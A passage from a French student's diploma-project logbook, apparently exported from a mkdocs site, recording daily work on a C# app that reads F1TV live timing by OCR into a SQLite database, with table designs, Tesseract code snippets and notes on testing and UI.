ou que le temps au tour a chang\u00e9 on peut savoir qu'il faut passer au tour suivant. Pour detecter les arr\u00eats aux stands je peux essayer de detecter un changement de type de pneus ou de nombre de tours detect\u00e9s sur le m\u00eame pneu Au d\u00e9part je me disais que je pourrais peut-\u00eatre faire une base de donn\u00e9e SQLITE locale qui puisse \u00eatre reprise d'un Grand Prix \u00e0 un autre. Mais je me suis dit que de faire des statistiques inter Grand Prix \u00e9tait un peu en dehors du scope du projet. La base de donn\u00e9e sera donc cr\u00e9\u00e9e \u00e0 chaque d\u00e9marrage de l'app La mani\u00e8re dont je vois les choses en ce moment est qu'on aie deux sources de donn\u00e9es dans l'affichage final. On aurait une partie des infos qui seraient en direct depuis la detection : Les ecarts entre pilotes La position des pilotes Le dernier temps au tour Les derniers secteurs Les pneus Mais on aurait aussi des rubriques cr\u00e9\u00e9es de toutes pi\u00e8ces par des infos qui viennent de la BD Voici les rubriques qui pourraient \u00eatre int\u00e9ressantes \u00e0 voir dans l'interface finale : Les 3 ou 5 pilotes les plus rapides ces cinq derniers tours Le pilote qui a le plus fait de d\u00e9passements Les batailles en cours Les 3 pilotes les plus lents Un classement pond\u00e9r\u00e9 avec les 20s de moins pour tous les pilotes qui ne se sont pas encore arr\u00eat\u00e9s En gros l'id\u00e9e serait que on update une fois par tour et par pilote la base de donn\u00e9e avec des infos comme le temps au tour, le type de pneu etc... Voici les trois tables que je vais cr\u00e9er : Drivers Colonne Type de Data Description Tag ID INTEGER ID du pilote PRIMARY Name VARCHAR Nom du pilote NOT NULL Pitstops Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui a effectu\u00e9 le Pitstop PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL Stats Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui concern\u00e9 PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL LapTime INTEGER Temps au tour (MS) NOT NULL Sector1 INTEGER Temps du secteur 1 (MS) NOT NULL Sector2 INTEGER Temps du secteur 2 (MS) NOT NULL Sector3 INTEGER Temps du secteur 3 (MS) NOT NULL GapToLeader INTEGER Ecart avec le leader (MS) NOT NULL Position INTEGER Position pilote NOT NULL Ca n'est pas forc\u00e9ment d\u00e9finitif mais je pense que c'est d\u00e9ja un bon d\u00e9but pour faire des rubriques sympa. Je suis en train de tenter d'impl\u00e9menter le code pour permettre ensuite d'ajouter et retirer des choses facilement. Mercredi 17 Mai 2023 Aujourd'hui le but c'est de remplir la base SQLITE avec des infos. Si j'arrive \u00e0 tout remplir alors ca devrait pas \u00eatre trop compliqu\u00e9 de venir faire des requ\u00e8tes qui donnent de bonnes infos. Mais la probl\u00e9matique principale va \u00eatre de d\u00e9cider QUAND ins\u00e8rer des choses dans la base de donn\u00e9e. Je pense que le meilleur moyen serait de garder une liste de DriverData par pilote en piste qui puisse contenir toutes les data que l'on recoit. Et \u00e0 chaques fois que l'on veut ajouter \u00e0 cette liste on v\u00e9rifie si un tour a \u00e9t\u00e9 fait pour envoyer les data pr\u00e9c\u00e9dente et r\u00e9initialiser la liste. Il faut donc une liste de 20 listes de DriverData et une liste de int qui repr\u00e9senteront le num\u00e9ro du tour dans lequel chaque pilote se trouve. Pour detecter un arr\u00eat je pense que la meilleure mani\u00e8re est de regarder si le pilote a chang\u00e9 de place ou de type de pneu. Si je prend que les fois ou le pilote change place ET de pneus alors certains arr\u00eats pour ceux qui sont loins devant ou loins derri\u00e8re pourraient ne pas \u00eatre detect\u00e9s. Et si je ne prend que le changement de pneus cela pose un soucis car un pneu pourrait avoir \u00e9t\u00e9 chang\u00e9 pour un autre du m\u00eame type. Et parfois les valeurs de tours faits avec le pneu ne sont pas toujours bien lues et parfois sont compliqu\u00e9es \u00e0 retrouver car tous les pneus ne sont pas neuf quand ils sont chauss\u00e9s. Je crois que la detection de tours et des arr\u00eats aux stands est sur la bonne voie. Le seul soucis que j'ai c'est que pour faire du debug je suis un peu oblig\u00e9 d'attendre pendant 10min si je veux avoir de quoi faire des stats un peu sympa. Je me rend compte que parfois j'obtiens des r\u00e9sultats un peu bizarres mais que c'est la f1TV qui les donne. Par exemple de cas ou Alex Albon n'a que deux tours sur ses pneus alors que tout le monde devant et derri\u00e8re lui en a 3 et que on est au tour 4. \"wtf...?\" Ah et aussi parfois quand les pilotes se d\u00e9passent on se retrouve dans des situations plut\u00f4t rigolotes : \"Wtf...??\" COMMENT JE FAIS POUR DETECTER CA WIONDVIDNJDODVNSDIC Bon je me rend compte que clairement si je veux que mes data soient plus utiles il faudrait que je fasse un tout petit peu plus de taff sur quelques points dans l'OCR. Le nombre de tours des pneus (Les num\u00e9ros sont vraiment mal detect\u00e9s et parfois m\u00eame la couleur est pas dingue) Les 4 qui sont pris pour des 1 ou des 11 (pour les temps et les pneus) apr\u00e8s un test de plus longue haleine je suis content de voir que au moins mon programme peut tourner plus d'une heure sans crasher et qu'il peut \u00eatre fiable quand il veut. Jeudi 18 Mai 2023 Aujourd'hui c'est t\u00e9l\u00e9Travail forc\u00e9 et j'\u00e9tais scens\u00e9 aller au Grand Prix d'Imola ce qui malheureusement ne pourra pas se faire pour des raisons d'inondations. En effet la r\u00e9gion est clairement pas en \u00e9tat de recevoir un Grand Prix de Formule 1 et donc ce weekend c'est maison. Le but du jour c'est d'avancer la doc et de tenter d'am\u00e9liorer l'OCR pour que Lundi il soit relativement facile d'avancer sur l'interface de l'app finale. Je suis en train d'explorer une methode de detection de bords de sobel. Le seul soucis c'est que les r\u00e9sultats sont bons mais avec un vide au milieu des chiffres. Cela veut dire que parfois le temps est mal detect\u00e9. Mais il semble que pour le reste du temps cela se passe plut\u00f4t bien. Ca vaut peut \u00eatre le coup de modifier la gestion des erreurs. \"Artefacts de detection de sobel\" En fait le soucis avec ces artefacts c'est que parfois le temps au tour n'est tout simplement pas detect\u00e9. Dans l'exemple ci dessus, la reconnaissance de caract\u00e8res ne trouve tout simplement rien. Il faut donc que je trouve un moyen de corriger ces soucis. Il semblerait que en appliquant un tresholding un peu plus s\u00e9v\u00e8re en amont on arrive \u00e0 r\u00e9duire les artefacts \"Artefacts all\u00e8g\u00e9s\" ; Je crois qu'il faut faire attention avec les 'Bitmap.save' quand on utilise de l'asynchrone. le GDI+ aime pas des masses. Lundi 22 Mai 2023 BON ! Il ne reste plus beaucoup de temps ! Selon le planning cette semaine est la derni\u00e8re semaine de programmation. Il va donc falloir CHARBONNER !! Il ne me reste plus que une t\u00e2che \u00e0 vraiment faire (\u00e0 part les tests mais euuuu voila bon). J'essaie d'impl\u00e9menter un peu plus d'error handling mais c'est pas facile... Il y a tellement de choses qui peuvent mal tourner c'est infernal. Une chose qui serait bien serait de rajouter des points d'attente variables dans le code de l'emulateur un peu partout pour eviter de se retrouver bloqu\u00e9 \u00e0 chaque fois. L'int\u00e9r\u00eat serait que des gens avec une moins bonne connexion pourraient quand m\u00eame profiter du programme sans qu'il crashe 300 fois. Ce qui est frustrant c'est que va savoir pourquoi, maintenant, on arrive quasi jamais a avoir la page data... Genre sans deconner c'est une fois sur 5 que l'emulateur nous ressort la page Data et pas juste le feed. C'est absolument infernal. Je ne comprends pas pourquoi en plus. L'emulateur arrive bien \u00e0 cliquer sur le bon bouton mais m\u00eame comme ca ca ne veut pas. CA NA AUCUN SENS BORDEL. Sur une image Jjai de supers resultats pour les temps au tour mais d\u00e8s que l'image change PAF plus aucun temps n'est detect\u00e9. Ah non c'est bon c'est juste que VA SAVOIR POURQUOI les images sont en putain de resolution DEGEULASSE. Je ne comprends pas pourquoi ce matin particuli\u00e8rement le projet marche si mal. Par ce que d\u00e8s que l'image revient \u00e0 une r\u00e9solution normale c'est bon. Un autre soucis que j'ai est que je n'arrive pas \u00e0 paralleliser l'OCR ce qui fait que elle peut prendre parfois plus de 15 secondes. Et le probl\u00e8me avec ca c'est que la detection de tours et de pitstop est grandement impact\u00e9e si on a pas assez de data assez souvent. Je vais me focus sur le reste en attendant mais d\u00e8s que M.Bonvin apparait dans les parages je vais devoir l'alpaguer. J'ai ajout\u00e9 la possibilit\u00e9 d'essayer plusieurs fois de trouver le bouton fullscreen et de cliquer dessus plut\u00f4t que d'attendre dix secondes comme un con et esp\u00e8rer que ca fonctionne. Mais si apr\u00e8s 15 secondes d'essais il n'y arrive pas cela fait quand m\u00eame p\u00eater une erreur. Je pense que je vais m'occuper de la page de configuration maintenant. Voici \u00e0 quoi ressemblait la page de settings ce matin quand je suis arriv\u00e9. \"Ancienne page de settings\" Comme je pense que l'UI de cette page ne va pas vraiment changer d'ici la fin du projet je peux me permettre de lui faire une petite beaut\u00e9 car apr\u00e8s je ne pense pas y retoucher. Pour ca j'ai plusieurs \u00e9tapes comme choisir une palette de couleur, retirer l'inutile et choisir judicieusement le placement des items sur la form pour que cela soit le plus intuitif possible. J'y pense, il fuadrait peut-\u00eatre que je me trouve un logo ca pourrait rendre bien. Voila alors j'ai chang\u00e9 un tout petit peu ce \u00e0 quoi ressemble la page de settings et j'ai ajout\u00e9 du responsive pour que le user puisse mettre l'application en plein \u00e9cran. \"Nouvelle page de configuration\" Mais il manque un peu de couleurs et de d\u00e9tails pour que cela rende vraiment bien. Et apr\u00e8s quelques tentatives on se retrouve avec une page plut\u00f4t sympa je trouve : \"Nouvelle page de config\" Et elle est responsive : \"Nouvelle page de config en plein \u00e9cran\" Et j'ai fait quelques changements pour ce qui est des zones qui s'affichent pour qu'on les voie mieux. \"Nouvelle page de config en action\" Je trouve que franchement ca rend pas mal. Le reste de l'app sera dans ce style. J'ai mis pas mal de temps \u00e0 cr\u00e9er cette page, mais je pense que c'est important que la page de config soit propre. Et en plus tout le temps que j'ai pass\u00e9 ici n'est pas perdu car ensuite j'aurai simplement \u00e0 suivre les m\u00eames directives de style pour le reste de l'UI. Il faut aussi savoir que Windows Form n'est ps forc\u00e9ment le meilleur outil pour travailler avec le design. Truc tout b\u00eate par exemple qui m'a fait perdre 30 minutes. Il est impossible de retirer les bordures des objets \"GroupBox\". Ce que j'ai donc du faire ca a \u00e9t\u00e9 de dessiner un rectangle autour de la couleur du background pour que l'on ne voit plus les bordures et ensuite j'ai du redessiner le texte pour qu'il puisse s'afficher quand m\u00eame. C'est pleins de petites choses comme ca qui sont plut\u00f4t p\u00e9nibles et qui font perdre du temps mais je pense que c'est rentable de s'y attarder. Maintenant ce que je vais faire aujourd'hui et demain c'est l'affichage general de l'app. Je pense que je vais commencer par mettre des placeholder de l'app finale comme ca je saurai quoi implementer comme methodes de r\u00e9cup\u00e8ration demain. J'aimerais quand m\u00eame faire une interface sympa m\u00eame si les data sont pas parfaites. Par ce que je me dis que au pire si je montre une interface qui donne des infos inexacte mais qui a la bonne logique c'est toujours mieux que de ne pas montrer ce que ca pourrait faire avec des donn\u00e9es un peu plus int\u00e8gres. Autre point \u00e0 noter, je me suis rendu compte que ca pourrait \u00eatre potentiellement pas mal de trouver un moyen rapide de lancer l'appli avec un Grand Prix. Genre permettre de selectionner le preset et l'URL du Grand Prix sans avoir \u00e0 passer par la page de configuration. Je me suis rendu compte que c'\u00e9tait super chiant de devoir \u00e0 chaque fois le faire (m\u00eame si je me rends compte que normalement un user ne devrait pas lancer l'app autant) Voila ue premi\u00e8re version de l'App avec tous les placeholders : \"Premi\u00e8re version de la page principale\" Et c'est tout pour aujourd'hui ! Ce fut une journ\u00e9e remplie. Mardi 23 Mai 2023 Aujourd'hui le but c'est de remplir le framework de hier avec les bonnes Data. Je ne sais pas si je peux tout finir en un jour mais on va essayer. Bon j'ai eu une discussion anim\u00e9e avec M.Bonvin et il semble que je sois oblig\u00e9 de refaire \u00e0 peu pr\u00e8s tout mon code pour le rendre ne serait-ce qu'un peu optimis\u00e9. Bon au final j'ai perdu 6H de travail \u00e0 tenter de convertir mon code dans une version un peu plus optimis\u00e9e... Mais je me rend compte que c'est juste impossible... Il me faudrait au moins plusieurs jours pour faire correctement ce refactor et donc je vais tout simplement faire un git restore... C'est extr\u00eament frustrant mais bon... Pas le choix il semble. J'ai du \u00e9crire au moins 600 lignes de code et tout pars en fum\u00e9e. C'est une d\u00e9bauche d'\u00e9nergie absolument ph\u00e9nomenale. Apr\u00e8s ca valait le coup de tenter je pense. (J'ai envie de mourir) EN FAIT C'EST BON !! Il fallait juste que je croie en mon code original !!! J'ai r\u00e9ussi \u00e0 paralelliser mon ancien code. Il ne manquait presque rien mais M.Bonvin voulait absolument que je change le reste. Maintenant j'ai une detection qui se fait en quelques secondes c'est genial. Mercredi 24 Mai 2023 Alors hier je n'ai pas bien eu le temps d'expliquer ce que voulait que M.Bonvin. En fait mon programme actuellement utilise un d\u00e9coupage qui peut par\u00e2itre complexe. Et de par sa nature, il pensait qu'il \u00e9tait simplement impossible de paralelliser le traitement car trop complexe et trop couteux. Il voulait donc que je passe sur un traitement plus simple. L'id\u00e9e \u00e9tait que on s'occupe dabord de faire une liste de toutes les Windows et de les traiter toutes \u00e0 la fois pour \u00e9viter que les boucles soient trop complexes. Sauf que pour impl\u00e9menter un truc pareil c'est \u00e9norm\u00e9ment de code car cela va \u00e0 l'encontre totale de la facon dont mon projet fonctionne actuellement. Mais comme j'\u00e9tais ouvert \u00e0 d'autres solutions. J'ai pass\u00e9 six heures \u00e0 tenter de l'impl\u00e9menter. Il en aurait fallu au minimum deux jours soyons clair. Et en fait on s'est retrouv\u00e9s devant pleins de probl\u00e8mes qui ne se posent pas dans mon architecture originale. Par exemple. On a pas trouv\u00e9 de methode simple pour d\u00e9couper les images des fen\u00eatres de mani\u00e8re thread safe. Il aurait donc fallu ajouter des boucles en pr\u00e9alable pour tout d\u00e9couper et le faire de mani\u00e8re s\u00e9quencielle. Ensuite vient le probl\u00e8me que si on traite toutes les donn\u00e9es dans des boucless paralelle on perds leur position originale donc il faut faire une classe pour stocker les r\u00e9sultats temporaires. Il y a aussi le soucis que les Windows ont certe une position mais elle est relative au parent et \u00e0 l'image parente. Donc il faudra faire un syst\u00e8me qui convertis les windows en position absolue sur l'image. Ca peut para\u00eetre \u00eatre de simples changements mais deja il y en a pas mal d'autres et franchement m\u00eame si l'id\u00e9e originale aurait pu simplifier les choses. Les sacrifices que l'on doit faire pour la faire marcher sont juste trop moches et \u00e0 mon avis ne sont pas du tout aussi logiques que mon d\u00e9coupage original. Cette exp\u00e9rience m'a quand m\u00eame permis de me rendre compte des endroits dans mon code qui sont plus ou moins difficile \u00e0 maintenir et cela m'a fait me rendre compte que ma solution n'\u00e9tait pas forc\u00e9ment la plus simple pour tout le monde mais que mine de rien elle peut \u00eatre efficace. La je suis en train de rajouter les routes pour la vue. Je me suis dit que ca serait une bonne id\u00e9e de permettre aux users de cliquer sur un pilote pour avoir ses infos. Mais je me suis dit que ce qui serait encore plus cool serait de pouvoir cliquer sur un des temps au tour d'un pilote et qu'une petite fen\u00eatre s'ouvre pour indiquer les temps par secteurs. Mais en faisant ca je me rends compte qu'il y a quelques soucis dans la facon que je conserve les infos dans la DB et je peux voir directement quand la reconnaissance a du mal avec certains pilotes ou des positions. Ca arrive plus souvent que ce que je voudrais que un pilote soit mal detect\u00e9. Mais ce qui est dr\u00f4le c'est que c'est parfois sur une deux voire trois reconnaissance que le pilote n'est plus reconnu mais ensuite tout va bien. Il faut que je travaille un peu plus sur le filtrage de ces donn\u00e9es limites et peut-\u00eatre de voir si la reconnaissance de la position pourrait \u00eatre un peu v\u00e9rifi\u00e9e. Bon pour \u00eatre honn\u00eate je ne pense pas que le code qui concerne l'affichage soit le meilleur code que j'aie pu produire dans ma vie de d\u00e9veloppeur mais en m\u00eame temps je n'ai pas forc\u00e9ment le temps de le rendre magnifique. La le but est simplement que tout marche. (Et c'est un peu la m\u00eame phylosophie dans tout le reste du projet lol) Demain il me reste pas mal de choses \u00e0 faire et c'est la derni\u00e8re journ\u00e9e ou je peux les faire. Rendre la form plus jolie et changer les couleurs Rendre la form Responsive Ajouter les bons messages d'erreur qui vont bien Modifier les messageBox d'erreur pour qu'elles soient plus agr\u00e9ables \u00e0 utiliser Clean un peu le code mod\u00e8le vue controller Si j'ai le temps ajouter les bons commentaires les bonnes ent\u00eates partout Jeudi 25 Mai 2023 Bon bah le but aujourd'hui c'est de finaliser un peu le projet car la semaine prochaine c'est doc. Pas grand chose \u00e0 dire. J'ai pass\u00e9 la journ\u00e9e \u00e0 fix des petits bugs par ci par la. Voici des exemples de ce \u00e0 quoi ressemble l'app \u00e0 la fin de la journ\u00e9e : \"Screenshot de la page principale\" \"Screenshot de la page principale\" On se rend jamais compte mais c'est tellement long de r\u00e8gler chaque petit soucis un par un. Il y a tellement de possibilit\u00e9s de choses qui peuvent mal tourner ou qui ont un comportement diff\u00e9rent selon l'ordre dans lequel on fait les choses. Mais dans l'ensemble, m\u00eame si on est pas sur la meilleure interface que l'on aie vu dans l'histoire. Je trouve que elle fait quand m\u00eame le taff. Vendredi 26 Mai 2023 Aujourd'hui c'est d\u00e9part pour Monaco mais comme l'avion etait bien en retard j'ai pu avancer sur le nettoyage du code. Grand Prix de Monaco [Insert photos] Lundi 29 Mai 2023 Mon vol pour Geneve hier soit a \u00e9t\u00e9 annul\u00e9 et je dois donc prendre une deviation car tous les vols pour Geneve sont pleins. Je dois partir a 7h30 pour prende l'avion de 9H pour Nantes et de la bas je dois prendre un avion \u00e0 17h pour arriver \u00e0 18h30 \u00e0 l'a\u00e9roport de Geneve. C'est pas pratique car j'avais pr\u00e9vu d'avancer aujourd'hui et je suis oblig\u00e9 d'avancer comme je peux dans l'a\u00e9roport. J'avance encore sur le nettoyage rapide du code. Le but est que demain je puisse sortir la premi\u00e8re release en Beta et que je mette vraiment serieusement \u00e0 la Documentation. M.Jayr m'a \u00e9galement demand\u00e9 de lui donner le document d'\u00e9valuation interm\u00e9diaire. Il ne faut pas que j'oublie demain. J'ai mis des notes sur mon code au cas ou des gens viennent \u00e0 le lire. J'y d\u00e9cris les choses que j'aurais fait diff\u00e9remment ou qui pourraient para\u00eetre bizarre au tout venant. Mardi 30 Mai 2023 Bon aujourd'hui je dois encore avancer sur la partie nettoyage de code et avant de sortir la premi\u00e8re release Beta je vais tenter d'installer le projet sur un autre pc pour voir ce que je n'ai pas mentionn\u00e9 dans mon ReadMe. Bon j'ai pu rendre \u00e0 M.Jayr mon evaluation interm\u00e9diaire et j'ai fait les derni\u00e8res modifications sur le projet pour que je puisse sortir une release correcte. Maintenant je vais me mettre \u00e0 la documentation. Il va falloir que je revoie ce que j'ai d\u00e9ja \u00e9crit en ce qui concerne l'OCR car j'ai fait des modifications depuis et j'ai ajout\u00e9 la methode de SOBEL. Il faut peut-\u00eatre aussi que je parle vite fait dans la partie Emulation que j'ai du changer les variables d'environnement pour faire fonctionner le syst\u00e8me en 4K. Mercredi 31 Mai 2023 Doc Jeudi 1 Juin 2023 Bon je me suis rendu compte que je n'avais fait vraiment aucuns tests et que c'est franchement bof. Je pense que ce que je devrais faire pour faire des tests unitaires c'est prendre des exemples de chaque type de windows possibles en plusieurs exemplaires. Ensuite je note le r\u00e9sultat que j'attends et je regarde si ca me retourne la bonne valeur. Mais ca veut dire que ca va me prendre pas mal de temps de tout mettre en place mais ca m'aurait s\u00fbrement fait gagner beaucoup de temps si je l'avais fait d\u00e8s le d\u00e9but... Je pense que une bonne id\u00e9e serait de prendre trois Grand Prix et de prendre une photo de chaque type de window au d\u00e9but et \u00e0 la fin. Plus je regarde plus je me rend compte que ce pojet aurait carr\u00e9ment du \u00eatre en TDD (Test Driven Developement) par ce que ca m'aurait fait gagner un temps FOU. OK JE SUIS DEBILE POURQUOI J'AI PAS FAIT CA PLUS T\u00d4T ??? En fait ce que j'aurais du faire c'est prendre de gros \u00e9chantillons de toutes les types de windows et j'aurais un parfait framework pour savoir si j'ai am\u00e9lior\u00e9 mon OCR ou non. Voici les exemples que je vais utiliser pour verifier le bon fonctionnement de l'OCR : \"Dataset Ecarts\" ; \"Dataset Tours\" ; \"Dataset Noms\" ; \"Dataset Positions\" ; \"Dataset Sectors\" ; \"Dataset Tyres\" ; Je pense que c'est un set assez correct car j'ai essay\u00e9 de prendre un peu tous les cas possibles. Le seul qui m'inqui\u00e8te un peu c'est celui des pneus mais bon. C'est aussi celui qui m'inqui\u00e8te le plus en temps normal. Non mais c'est juste g\u00e9nial les tests en fait... j'avais pas vu que parfois ma detection de GAP TO LEADER comprenait le \"+1:34.567\" en \"61:34.567\" car le '+' \u00e9tait interpr\u00eat\u00e9 comme un 6. Sans les tests je ne m'en serais pas rendu compte. Ce qui est g\u00e9nial c'est que ca veut dire que si je veux am\u00e9liorer mon OCR j'ai juste \u00e0 mettre plus d'exemples dans le dossier de tests et de run les tests et voir ou il a des soucis. C'est un peu tard mais ca m'aurait fait gagner TELLEMENT de temps c'est absolument ridicule. Vendredi 2 Juin 2023 Aujourd'hui c'est de nouveau doc. Mais la je pense qu'il faut que je rajoute une rubrique \"Fonctionnement g\u00e9n\u00e9ral\" qui r\u00e9sume tr\u00e8s simplement toutes les \u00e9tapes du projet avec un bon diagramme. En fait c'est beaucoup plus dur que ce que je pensais de faire un bon diagramme qui explique tout sans \u00eatre illisible. J'ai mis une heure trente \u00e0 faire celui la : \"Diagramme fonctionnement g\u00e9n\u00e9ral\" J'ai pris pas mal de temps aussi \u00e0 faire ces trois autre diagrammes un peu plus graphiques qui montrent de mani\u00e8re un poil plus abstraite le fonctionnement des trois grosses parties du projet. \"Diagramme recup\u00e9ration d'images\" \"Diagramme OCR\" \"Diagramme Traitement\" Je pense qu'ils sont un peu plus faciles \u00e0 comprendre que le gros diagramme g\u00e9n\u00e9ral. Ce que je me dis c'est que je vais faire une section fonctionnement g\u00e9n\u00e9ral ou je vais expliquer les trois parties avec les petits diagramme et r\u00e9sumer avec le grand diagramme.","title":"Journal de bord"},{"location":"jdb.html#journal-de-bord","text":"","title":"Journal de bord"},{"location":"jdb.html#mercredi-29-mars-2023","text":"Premier jour du travail de dipl\u00f4me. Nous avons eu un briefing de mr Garcia et nous avons pu commencer \u00e0 pr\u00e9parer le travail. Nous avons eu les diff\u00e9rents fichiers nescessaires \u00e0 la bonne r\u00e9alisation du projet et je me suis mis \u00e0 faire les fichiers nescessaires La premi\u00e8re chose a \u00e9t\u00e9 de faire ce mkdocs dans lequel j'ai mis un fichier yml plut\u00f4t standart qui risque de changer au fur et \u00e0 mesure. Voici le premier yml : site_name: Documentation Diplome theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html plugins: - glightbox - with-pdf Voici un example de \u00e0 quoi ca ressemble en forme de site \"Exemple mkdocs\" Ensuite il m'a fallu faire une version plus \u00e0 jour de mon cahier des charges car je n'y avait pas touch\u00e9 depuis novembre. J'ai envoy\u00e9 un mail \u00e0 mes enseignants pour qu'ils puissent y jeter un oeuil pour \u00eatre s\u00fbr que je n'ai rien chang\u00e9 qui les d\u00e9rangent. Monsieur Jayr m'a demad\u00e9 \u00e0 l'occasion de lui faire un planning type Gantt alors je me suis mis \u00e0 la t\u00e2che. J'ai fait un planning pr\u00e9visionnel et une l\u00e9gende les deux sont dispo dans le dossier planning de ce repertoire. Ensuite je me suis mis \u00e0 tout mettre sur git. A commencer par ce repertoire Et c'est deja la fin de la journ\u00e9e ! Demain j'avance un peu sur la doc avec ce que je peux d\u00e9ja remplir et je finis de pr\u00e9parer ce dont j'ai besoin pour commencer \u00e0 coder.","title":"Mercredi 29 Mars 2023"},{"location":"jdb.html#jeudi-30-mars-2023","text":"Aujourd'hui selon le planning je dois me charger des dernirers pr\u00e9paratifs pour commencer correctement. J'ai fait expr\u00e8s de prenre du temps pour ca au d\u00e9but pour ne pas me cr\u00e9er de soucis plus loin pendant le travail. Je vais envoyer par mail le planning que j'ai fait \u00e0 mes suiveurs. Ensuite je vais m'attaquer au squelette de la docmentation. Je vais essayer de remplir tout ce que je peux remplir dans un premier temps car cela tout ca de fait pour plus tard quitte \u00e0 modifier quelques aspects au fur et \u00e0 mesure. J'ai aussi d\u00e9sactiv\u00e9 mkdocs with pdf par ce que les r\u00e9sultats ne sont vraiment pas ceux que j'attends et cela ralentis \u00e9norm\u00e9ment le d\u00e9ploiment. J'ai aussi rassembl\u00e9 mes croquis pour le poster : \"Croquis Poster 1\" \"Croquis Poster 2\" On peut voir que dans un premier temps j'ai tent\u00e9 de faire un poster un peu plus stylis\u00e9 et marketing. Cependant apr\u00e8s avoir discut\u00e9 avec Mr Garcia et diff\u00e9rents profs dont un de l'HEPIA et ils m'ont indiqu\u00e9 que ce qui \u00e9tait attendu \u00e9tait moins du marketing qu'un diagramme de fonctionnement. On peut voir sur les derniers posters que le cot\u00e9 technique ressort de plus en plus. Le but sera de faire une version encore plus technique ou on peut voir les diff\u00e9rents fonctionnements de l'application avec les technologies utilis\u00e9es. Le d\u00e9fi cela va \u00eatre de faire un joli poster qui soit en m\u00eame temps vendeur et en m\u00eame temps rempli techniquement. Oh et j'ai eu un probl\u00e8me ou mon calvier et ma souris ne voulaient d'un coup plus fonctionner. Dans mon cas c'\u00e9tait un probl\u00e8me de power management des ports. J'ai eu le soucis sur mon pc fixe \u00e0 la maison et sur mon pc portable \u00e9galement. En gros de ce que j'ai compris le soucis c'est que le pc croit que un port est trop solicit\u00e9 niveau puissance et du coup d\u00e9cide de couper l'alimentation du port USB. J'ai pu r\u00e8gler le soucis en allant dans le device manager sous universal bus controller sous power management et en d\u00e9cochant la case qui indique que windows peut d\u00e9sactiver ce port. Je ne conseille pas ce fix si vous avez des composants de mauvaise qualit\u00e9 car cela pourrait \u00eatre une vraie alerte cependant le fait que mes composants sont plut\u00f4t haut de gamme et le fait que mon clavier et ma souris le fassent en m\u00eame temps et que ils fonctionnaient tr\u00e8s bien depuis plus de 4 ans me font penser que c'est juste une nouvelle mise a jour de windows qui est p\u00e9nible. Demain je vais pouvoir commencer \u00e0 coder pour de bon.","title":"Jeudi 30 Mars 2023"},{"location":"jdb.html#vendredi-31032023","text":"Aujourd'hui on s'occupe de la PT2 qui est la programmation de la r\u00e9cup\u00e8ration des informations des images. Je vais tester IronOcr Source : https://www.c-sharpcorner.com/article/ocr-using-tesseract-in-C-Sharp/ Doc : https://ironsoftware.com/csharp/ocr/docs/ Examples : https://ironsoftware.com/csharp/ocr/examples/simple-csharp-ocr-tesseract/ Avant d'utiliser la librairie je me demande si je dois utiliser un peu de post processing pour aider \u00e0 la reconnaissance. Je peux soit utiliser l'image crop\u00e9e directement : \"Image non trait\u00e9e\" Soit avec un filtre pour passer en noir et blanc laxiste \"Image trait\u00e9e laxiste\" Soit avec un filtre pour passer en noir et blanc stricte \"Image trait\u00e9e stricte\" Il va falloir faire des tests avec tous les noms et les chiffres pour trouver le plus efficace. Bon malheureusment Iron OCR semblait \u00eatre une bonne alternative mais c'est une librairie priv\u00e9e qui demande une license pour \u00eatre utilis\u00e9e. Il va falloir trouver autre chose. En utilisant la librairie \"Tesseract\" qui existe on peut faire de la reconnaissance de texte avec un code plut\u00f4t simple : TesseractEngine engine = new TesseractEngine ( tessDataFolder . FullName , \"eng\" , EngineMode . Default ); var tessImage = Pix . LoadFromMemory ( ImageToByte ( sample )); Page page = engine . Process ( tessImage ); string text = page . GetText (); Voici la methode ImageToByte : https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-array public static byte [] ImageToByte ( Image img ) { using ( var stream = new MemoryStream ()) { img . Save ( stream , System . Drawing . Imaging . ImageFormat . Png ); return stream . ToArray (); } } Voici le code pour traiter plusieurs textes sur une seule image : Page page = engine . Process ( tessImage ); // Get the iterator for the page layout using ( var iter = page . GetIterator ()) { // Loop over the elements of the page layout iter . Begin (); do { // Declare a Rect variable to hold the bounding box Rect boundingBox ; // Get the bounding box for the current element if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { g . DrawRectangle ( Pens . Red , new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } // Get the text for the current element var text = iter . GetText ( PageIteratorLevel . Word ); tbxResult . Text += text . ToUpper () + Environment . NewLine ; } while ( iter . Next ( PageIteratorLevel . Word )); } Etonnament, avec plus de texte, des noms qui \u00e9taient autrefois mal reconnus sont parfaitement interpr\u00eat\u00e9s. Par exemple voici un exemple de reconnaisance de texte sur tous les pilotes : \"Screenshot de reconnaisance d'image complete\" On voit que le nom Leclerc est mal reconnu. Mais voici ce que cela donne quand on prend une image qui ne contient que le nom Leclerc : \"Screenshot de reconnaissance d'image crop\u00e9e\" On voit ici que le nom Leclerc est tr\u00e8s bien reconnu. Dans le premier exemple on peut voir que Tsunoda est reconnu comme \"Reticin\" ce qui n'est pas exactement pareil (lol) Et quand on isole le nom Tsunoda dans une image seule : \"Screenshot de reconnaissance de Tsunoda\" Il le lit \"RETLELYY\" ce qui n'est toujours pas exactement ca... Une meilleure r\u00e9solution pourrait peut-\u00eatre r\u00e9soudre le probl\u00e8me en partie. Jusqu'ici les images \u00e9taient en presque 720P ce qui donne ceci : \"Tsunoda en 720P\" Et j'ai lanc\u00e9 une r\u00e9cup\u00e8ration d'images en 1080p pour r\u00e9cup\u00e8rer ceci : \"Tsunoda en 1080P\" On peut voir une certaine diff\u00e9rence tout de m\u00eame. Et quand on lance la reconnaissance : \"Reconnaissance Tsunoda en 1080P\" \"Tsunoda n'est plus \u00e9crit \"RETLELYY\" mais \"TSUNDDA\" ce qui n'est pas parfait mais qui est d\u00e9ja 